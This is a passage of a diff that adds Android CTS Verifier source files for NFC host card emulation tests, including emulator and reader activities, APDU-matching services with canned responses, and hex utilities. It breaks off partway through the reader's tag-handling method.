+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/DefaultRouteActivity.java
@@ -0,0 +1,7 @@
+package com.android.cts.verifier.nfc.hce;
+
+import com.android.cts.verifier.PassFailButtons;
+
+public class DefaultRouteActivity extends PassFailButtons.Activity {
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/DualNonPaymentEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/DualNonPaymentEmulatorActivity.java
new file mode 100644
index 0000000..27b063c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/DualNonPaymentEmulatorActivity.java
@@ -0,0 +1,63 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+public class DualNonPaymentEmulatorActivity extends BaseEmulatorActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ setupServices(this, TransportService2.COMPONENT, AccessService.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ NfcDialogs.createHceTapReaderDialog(this, null).show();
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ // Combine command/response APDU arrays
+ String[] commandSequences = new String[TransportService2.APDU_COMMAND_SEQUENCE.length +
+ AccessService.APDU_COMMAND_SEQUENCE.length];
+ System.arraycopy(TransportService2.APDU_COMMAND_SEQUENCE, 0, commandSequences, 0,
+ TransportService2.APDU_COMMAND_SEQUENCE.length);
+ System.arraycopy(AccessService.APDU_COMMAND_SEQUENCE, 0, commandSequences,
+ TransportService2.APDU_COMMAND_SEQUENCE.length,
+ AccessService.APDU_COMMAND_SEQUENCE.length);
+
+ String[] responseSequences = new String[TransportService2.APDU_RESPOND_SEQUENCE.length +
+ AccessService.APDU_RESPOND_SEQUENCE.length];
+ System.arraycopy(TransportService2.APDU_RESPOND_SEQUENCE, 0, responseSequences, 0,
+ TransportService2.APDU_RESPOND_SEQUENCE.length);
+ System.arraycopy(AccessService.APDU_RESPOND_SEQUENCE, 0, responseSequences,
+ TransportService2.APDU_RESPOND_SEQUENCE.length,
+ AccessService.APDU_RESPOND_SEQUENCE.length);
+
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS, commandSequences);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES, responseSequences);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_dual_non_payment_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ if (component.equals(TransportService2.COMPONENT)) {
+ getPassButton().setEnabled(true);
+ }
+ }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/DualPaymentEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/DualPaymentEmulatorActivity.java
new file mode 100644
index 0000000..eaba131
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/DualPaymentEmulatorActivity.java
@@ -0,0 +1,87 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.app.AlertDialog;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.nfc.cardemulation.CardEmulation;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+@TargetApi(19)
+public class DualPaymentEmulatorActivity extends BaseEmulatorActivity {
+ final static int STATE_IDLE = 0;
+ final static int STATE_SERVICE1_SETTING_UP = 1;
+ final static int STATE_SERVICE2_SETTING_UP = 2;
+
+ boolean mReceiverRegistered = false;
+ int mState = STATE_IDLE;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ mState = STATE_SERVICE2_SETTING_UP;
+ setupServices(this, PaymentService2.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ if (mState == STATE_SERVICE2_SETTING_UP) {
+ mState = STATE_SERVICE1_SETTING_UP;
+ setupServices(this, PaymentService1.COMPONENT, PaymentService2.COMPONENT);
+ return;
+ }
+ // Verify HCE service 2 is the default
+ if (!mCardEmulation.isDefaultServiceForCategory(
+ PaymentService2.COMPONENT, CardEmulation.CATEGORY_PAYMENT)) {
+ // Popup dialog-box, fail test
+ AlertDialog.Builder builder = new AlertDialog.Builder(this);
+ builder.setTitle("Test failed.");
+ builder.setMessage("PaymentService2 is not the default service according " +
+ "to CardEmulation.getDefaultServiceForCategory()");
+ builder.setPositiveButton("OK", null);
+ builder.show();
+ } else {
+ NfcDialogs.createHceTapReaderDialog(this,null).show();
+ }
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ if (mReceiverRegistered) {
+ unregisterReceiver(mReceiver);
+ }
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+ PaymentService2.APDU_COMMAND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+ PaymentService2.APDU_RESPOND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_dual_payment_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ if (component.equals(PaymentService2.COMPONENT)) {
+ getPassButton().setEnabled(true);
+ }
+ }
+
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java
new file mode 100644
index 0000000..b0535a1
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceEmulatorTestActivity.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.hce;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+
+/** Activity that lists all the NFC HCE emulator tests. */
+public class HceEmulatorTestActivity extends PassFailButtons.TestListActivity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_list);
+ setInfoResources(R.string.nfc_test, R.string.nfc_hce_emulator_test_info, 0);
+ setPassFailButtonClickListeners();
+
+ ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+
+ if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC_HOST_CARD_EMULATION)) {
+ adapter.add(TestListItem.newCategory(this, R.string.nfc_hce_emulator_tests));
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_single_payment_emulator,
+ SinglePaymentEmulatorActivity.class.getName(),
+ new Intent(this, SinglePaymentEmulatorActivity.class), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_dual_payment_emulator,
+ DualPaymentEmulatorActivity.class.getName(),
+ new Intent(this, DualPaymentEmulatorActivity.class), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_change_default_emulator,
+ ChangeDefaultEmulatorActivity.class.getName(),
+ new Intent(this, ChangeDefaultEmulatorActivity.class), null));
+
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_single_non_payment_emulator,
+ SingleNonPaymentEmulatorActivity.class.getName(),
+ new Intent(this, SingleNonPaymentEmulatorActivity.class), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_dual_non_payment_emulator,
+ DualNonPaymentEmulatorActivity.class.getName(),
+ new Intent(this, DualNonPaymentEmulatorActivity.class), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_conflicting_non_payment_emulator,
+ ConflictingNonPaymentEmulatorActivity.class.getName(),
+ new Intent(this, ConflictingNonPaymentEmulatorActivity.class), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_throughput_emulator,
+ ThroughputEmulatorActivity.class.getName(),
+ new Intent(this, ThroughputEmulatorActivity.class), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_tap_test_emulator,
+ TapTestEmulatorActivity.class.getName(),
+ new Intent(this, TapTestEmulatorActivity.class), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_offhost_service_emulator,
+ OffHostEmulatorActivity.class.getName(),
+ new Intent(this, OffHostEmulatorActivity.class), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_on_and_offhost_service_emulator,
+ OnAndOffHostEmulatorActivity.class.getName(),
+ new Intent(this, OnAndOffHostEmulatorActivity.class), null));
+
+ }
+
+ setTestListAdapter(adapter);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java
new file mode 100644
index 0000000..4893cc3
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceReaderTestActivity.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.nfc.hce;
+
+import com.android.cts.verifier.ArrayTestListAdapter;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.TestListAdapter.TestListItem;
+
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+
+/** Activity that lists all the NFC HCE reader tests. */
+public class HceReaderTestActivity extends PassFailButtons.TestListActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_list);
+ setInfoResources(R.string.nfc_test, R.string.nfc_hce_reader_test_info, 0);
+ setPassFailButtonClickListeners();
+
+ ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
+
+ if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_NFC_HOST_CARD_EMULATION)) {
+ adapter.add(TestListItem.newCategory(this, R.string.nfc_hce_reader_tests));
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_single_payment_reader,
+ SimpleReaderActivity.class.getName(),
+ SinglePaymentEmulatorActivity.buildReaderIntent(this), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_dual_payment_reader,
+ SimpleReaderActivity.class.getName(),
+ DualPaymentEmulatorActivity.buildReaderIntent(this), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_change_default_reader,
+ SimpleReaderActivity.class.getName(),
+ ChangeDefaultEmulatorActivity.buildReaderIntent(this), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_single_non_payment_reader,
+ SimpleReaderActivity.class.getName(),
+ SingleNonPaymentEmulatorActivity.buildReaderIntent(this), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_dual_non_payment_reader,
+ SimpleReaderActivity.class.getName(),
+ DualNonPaymentEmulatorActivity.buildReaderIntent(this), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_conflicting_non_payment_reader,
+ SimpleReaderActivity.class.getName(),
+ ConflictingNonPaymentEmulatorActivity.buildReaderIntent(this), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_throughput_reader,
+ SimpleReaderActivity.class.getName(),
+ ThroughputEmulatorActivity.buildReaderIntent(this), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_tap_test_reader,
+ SimpleReaderActivity.class.getName(),
+ TapTestEmulatorActivity.buildReaderIntent(this), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_offhost_service_reader,
+ SimpleReaderActivity.class.getName(),
+ OffHostEmulatorActivity.buildReaderIntent(this), null));
+
+ adapter.add(TestListItem.newTest(this, R.string.nfc_hce_on_and_offhost_service_reader,
+ SimpleReaderActivity.class.getName(),
+ OnAndOffHostEmulatorActivity.buildReaderIntent(this), null));
+ }
+
+ setTestListAdapter(adapter);
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceService.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceService.java
new file mode 100644
index 0000000..20b34df
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceService.java
@@ -0,0 +1,86 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.nfc.cardemulation.HostApduService;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.util.Arrays;
+
+@TargetApi(19)
+public abstract class HceService extends HostApduService {
+ final static String TAG = "HceService";
+
+ final static int STATE_IDLE = 0;
+ final static int STATE_IN_PROGRESS = 1;
+ final static int STATE_FAILED = 2;
+
+ // Variables below only used on main thread
+ String[] mCommandApdus = null;
+ String[] mResponseApdus = null;
+ int mApduIndex = 0;
+ int mState = STATE_IDLE;
+ long mStartTime;
+
+ public void initialize(String[] commandApdus, String[] responseApdus) {
+ mCommandApdus = commandApdus;
+ mResponseApdus = responseApdus;
+ }
+
+ @Override
+ public void onDeactivated(int arg0) {
+ mApduIndex = 0;
+ mState = STATE_IDLE;
+ }
+
+ public abstract ComponentName getComponent();
+
+ public void onApduSequenceComplete() {
+ Intent completionIntent = new Intent(HceUtils.ACTION_APDU_SEQUENCE_COMPLETE);
+ completionIntent.putExtra(HceUtils.EXTRA_COMPONENT, getComponent());
+ completionIntent.putExtra(HceUtils.EXTRA_DURATION,
+ System.currentTimeMillis() - mStartTime);
+ sendBroadcast(completionIntent);
+ }
+
+ public void onApduSequenceError() {
+ Intent errorIntent = new Intent(HceUtils.ACTION_APDU_SEQUENCE_ERROR);
+ sendBroadcast(errorIntent);
+ }
+
+ @Override
+ public byte[] processCommandApdu(byte[] arg0, Bundle arg1) {
+ if (mState == STATE_FAILED) {
+ // Don't accept any more APDUs until deactivated
+ return null;
+ }
+
+ if (mState == STATE_IDLE) {
+ mState = STATE_IN_PROGRESS;
+ mStartTime = System.currentTimeMillis();
+ }
+
+ if (mApduIndex >= mCommandApdus.length) {
+ Log.d(TAG, "Ignoring command APDU; protocol complete.");
+ // Ignore new APDUs after completion
+ return null;
+ } else {
+ if (!Arrays.equals(HceUtils.hexStringToBytes(mCommandApdus[mApduIndex]), arg0)) {
+ Log.d(TAG, "Unexpected command APDU: " + HceUtils.getHexBytes("", arg0));
+ onApduSequenceError();
+ return null;
+ } else {
+ // Send corresponding response APDU
+ byte[] responseApdu = HceUtils.hexStringToBytes(mResponseApdus[mApduIndex]);
+ mApduIndex++;
+ if (mApduIndex == mCommandApdus.length) {
+ // Test passed
+ onApduSequenceComplete();
+ }
+ return responseApdu;
+ }
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceUtils.java
new file mode 100644
index 0000000..3bab53b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/HceUtils.java
@@ -0,0 +1,68 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+
+public final class HceUtils {
+ public static final String ACTION_APDU_SEQUENCE_COMPLETE =
+ "com.android.cts.verifier.nfc.hce.ACTION_APDU_SEQUENCE_COMPLETE";
+ public static final String ACTION_APDU_SEQUENCE_ERROR =
+ "com.android.cts.verifier.nfc.hce.ACTION_APDU_SEQUENCE_ERROR";
+
+ public static final String EXTRA_COMPONENT = "component";
+ public static final String EXTRA_DURATION = "duration";
+
+ public static final String PPSE_AID = "325041592E5359532E4444463031";
+ public static final String MC_AID = "A0000000041010";
+
+ public static final String TRANSPORT_AID = "F001020304";
+ public static final String ACCESS_AID = "F005060708";
+
+ public static void enableComponent(PackageManager pm, ComponentName component) {
+ pm.setComponentEnabledSetting(
+ component,
+ PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+ PackageManager.DONT_KILL_APP);
+ }
+
+ public static void disableComponent(PackageManager pm, ComponentName component) {
+ pm.setComponentEnabledSetting(
+ component,
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ PackageManager.DONT_KILL_APP);
+ }
+
+ public static String getHexBytes(String header, byte[] bytes) {
+ StringBuilder sb = new StringBuilder();
+ if (header != null) {
+ sb.append(header + ": ");
+ }
+ for (byte b : bytes) {
+ sb.append(String.format("%02X ", b));
+ }
+ return sb.toString();
+ }
+
+ public static byte[] hexStringToBytes(String s) {
+ if (s == null || s.length() == 0) return null;
+ int len = s.length();
+ if (len % 2 != 0) {
+ s = '0' + s;
+ len++;
+ }
+ byte[] data = new byte[len / 2];
+ for (int i = 0; i < len; i += 2) {
+ data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
+ + Character.digit(s.charAt(i+1), 16));
+ }
+ return data;
+ }
+
+ public static final String buildSelectApdu(String aid) {
+ StringBuilder sb = new StringBuilder();
+ sb.append("00A40400");
+ sb.append(String.format("%02X", aid.length() / 2));
+ sb.append(aid);
+ return sb.toString();
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/OffHostEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/OffHostEmulatorActivity.java
new file mode 100644
index 0000000..216f35a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/OffHostEmulatorActivity.java
@@ -0,0 +1,46 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+@TargetApi(19)
+public class OffHostEmulatorActivity extends BaseEmulatorActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ setupServices(this, OffHostService.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ NfcDialogs.createHceTapReaderDialog(this, getString(R.string.nfc_hce_offhost_emulator_help)).show();
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+ OffHostService.APDU_COMMAND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+ OffHostService.APDU_RESPOND_SEQUENCE);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_offhost_service_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/OffHostService.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/OffHostService.java
new file mode 100644
index 0000000..c087c99
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/OffHostService.java
@@ -0,0 +1,23 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+
+public class OffHostService {
+ public static final ComponentName COMPONENT =
+ new ComponentName("com.android.cts.verifier",
+ OffHostService.class.getName());
+
+ public static final String[] APDU_COMMAND_SEQUENCE = {
+ HceUtils.buildSelectApdu("A000000151000000"),
+ "80CA9F7F00",
+ HceUtils.buildSelectApdu("A000000003000000"),
+ "80CA9F7F00"
+ };
+
+ public static final String[] APDU_RESPOND_SEQUENCE = {
+ "*",
+ "*",
+ "*",
+ "*"
+ };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/OnAndOffHostEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/OnAndOffHostEmulatorActivity.java
new file mode 100644
index 0000000..3d5190f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/OnAndOffHostEmulatorActivity.java
@@ -0,0 +1,67 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+@TargetApi(19)
+public class OnAndOffHostEmulatorActivity extends BaseEmulatorActivity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+ setupServices(this, OffHostService.COMPONENT, AccessService.COMPONENT);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ }
+
+ @Override
+ void onServicesSetup(boolean result) {
+ NfcDialogs.createHceTapReaderDialog(this, getString(R.string.nfc_hce_on_and_offhost_emulator_help)).show();
+ }
+
+ public static Intent buildReaderIntent(Context context) {
+ // Combine command/response APDU arrays
+ String[] commandSequences = new String[OffHostService.APDU_COMMAND_SEQUENCE.length +
+ AccessService.APDU_COMMAND_SEQUENCE.length];
+ System.arraycopy(OffHostService.APDU_COMMAND_SEQUENCE, 0, commandSequences, 0,
+ OffHostService.APDU_COMMAND_SEQUENCE.length);
+ System.arraycopy(AccessService.APDU_COMMAND_SEQUENCE, 0, commandSequences,
+ OffHostService.APDU_COMMAND_SEQUENCE.length,
+ AccessService.APDU_COMMAND_SEQUENCE.length);
+
+ String[] responseSequences = new String[OffHostService.APDU_RESPOND_SEQUENCE.length +
+ AccessService.APDU_RESPOND_SEQUENCE.length];
+ System.arraycopy(OffHostService.APDU_RESPOND_SEQUENCE, 0, responseSequences, 0,
+ OffHostService.APDU_RESPOND_SEQUENCE.length);
+ System.arraycopy(AccessService.APDU_RESPOND_SEQUENCE, 0, responseSequences,
+ OffHostService.APDU_RESPOND_SEQUENCE.length,
+ AccessService.APDU_RESPOND_SEQUENCE.length);
+
+ Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+ commandSequences);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+ responseSequences);
+ readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+ context.getString(R.string.nfc_hce_on_and_offhost_service_reader));
+ return readerIntent;
+ }
+
+ @Override
+ void onApduSequenceComplete(ComponentName component, long duration) {
+ if (component.equals(AccessService.COMPONENT)) {
+ getPassButton().setEnabled(true);
+ }
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/PaymentService1.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/PaymentService1.java
new file mode 100644
index 0000000..f6119eb
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/PaymentService1.java
@@ -0,0 +1,32 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+
+public class PaymentService1 extends HceService {
+ static final String TAG = "PaymentService1";
+
+ static final ComponentName COMPONENT =
+ new ComponentName("com.android.cts.verifier",
+ PaymentService1.class.getName());
+
+ public static final String[] APDU_COMMAND_SEQUENCE = {
+ HceUtils.buildSelectApdu(HceUtils.PPSE_AID),
+ HceUtils.buildSelectApdu(HceUtils.MC_AID),
+ "80CA01F000"
+ };
+
+ public static final String[] APDU_RESPOND_SEQUENCE = {
+ "FFFF9000",
+ "FFEF9000",
+ "FFDFFFAABB9000"
+ };
+
+ public PaymentService1() {
+ initialize(APDU_COMMAND_SEQUENCE, APDU_RESPOND_SEQUENCE);
+ }
+
+ @Override
+ public ComponentName getComponent() {
+ return COMPONENT;
+ }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/PaymentService2.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/PaymentService2.java
new file mode 100644
index 0000000..23664b9
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/PaymentService2.java
@@ -0,0 +1,28 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+
+public class PaymentService2 extends HceService {
+ static final ComponentName COMPONENT =
+ new ComponentName("com.android.cts.verifier",
+ PaymentService2.class.getName());
+
+ public static final String[] APDU_COMMAND_SEQUENCE = {
+ HceUtils.buildSelectApdu(HceUtils.PPSE_AID),
+ HceUtils.buildSelectApdu(HceUtils.MC_AID)
+ };
+
+ public static final String[] APDU_RESPOND_SEQUENCE = {
+ "12349000",
+ "56789000"
+ };
+
+ public PaymentService2() {
+ initialize(APDU_COMMAND_SEQUENCE, APDU_RESPOND_SEQUENCE);
+ }
+
+ @Override
+ public ComponentName getComponent() {
+ return COMPONENT;
+ }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/SimpleReaderActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/SimpleReaderActivity.java
new file mode 100644
index 0000000..ff98dd7
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/SimpleReaderActivity.java
@@ -0,0 +1,124 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.app.AlertDialog;
+import android.content.Intent;
+import android.nfc.NfcAdapter;
+import android.nfc.NfcAdapter.ReaderCallback;
+import android.nfc.tech.IsoDep;
+import android.nfc.Tag;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+import java.util.Arrays;
+
+@TargetApi(19)
+public class SimpleReaderActivity extends PassFailButtons.Activity implements ReaderCallback {
+ public static final String TAG = "SimpleReaderActivity";
+ public static final String EXTRA_APDUS = "apdus";
+ public static final String EXTRA_RESPONSES = "responses";
+ public static final String EXTRA_LABEL = "label";
+
+ NfcAdapter mAdapter;
+ String[] mApdus;
+ String[] mResponses;
+
+ TextView mTextView;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.pass_fail_text);
+ setPassFailButtonClickListeners();
+ getPassButton().setEnabled(false);
+
+ String label = getIntent().getStringExtra(EXTRA_LABEL);
+ setTitle(label);
+
+ mAdapter = NfcAdapter.getDefaultAdapter(this);
+ mTextView = (TextView) findViewById(R.id.text);
+ mTextView.setTextSize(12.0f);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ mAdapter.enableReaderMode(this, this, NfcAdapter.FLAG_READER_NFC_A |
+ NfcAdapter.FLAG_READER_NFC_BARCODE | NfcAdapter.FLAG_READER_SKIP_NDEF_CHECK, null);
+ Intent intent = getIntent();
+ mApdus = intent.getStringArrayExtra(EXTRA_APDUS);
+ mResponses = intent.getStringArrayExtra(EXTRA_RESPONSES);
+ }
+
+ @Override
+ public void onTagDiscovered(Tag tag) {
+ final StringBuilder sb = new StringBuilder();
+ IsoDep isoDep = IsoDep.get(tag);
+ if (isoDep == null) {
+ // TODO dialog box
+ return;
+ }
+
+ try {
+ isoDep.connect();
+ int count = 0;
+ boolean success = true;
+ long startTime = System.currentTimeMillis();
+ for (String apdu: mApdus) {
+ sb.append("Request APDU:\n");
+ sb.append(apdu + "\n\n");
+ long apduStartTime = System.currentTimeMillis();
+ byte[] response = isoDep.transceive(HceUtils.hexStringToBytes(apdu));
+ long apduEndTime = System.currentTimeMillis();
+ sb.append("Response APDU (in " + Long.toString(apduEndTime - apduStartTime) +
+ " ms):\n");
+ sb.append(HceUtils.getHexBytes(null, response));
+
+ sb.append("\n\n\n");
+ boolean wildCard = "*".equals(mResponses[count]);
+ byte[] expectedResponse = HceUtils.hexStringToBytes(mResponses[count]);
+ Log.d(TAG, HceUtils.getHexBytes("APDU response: ", response));
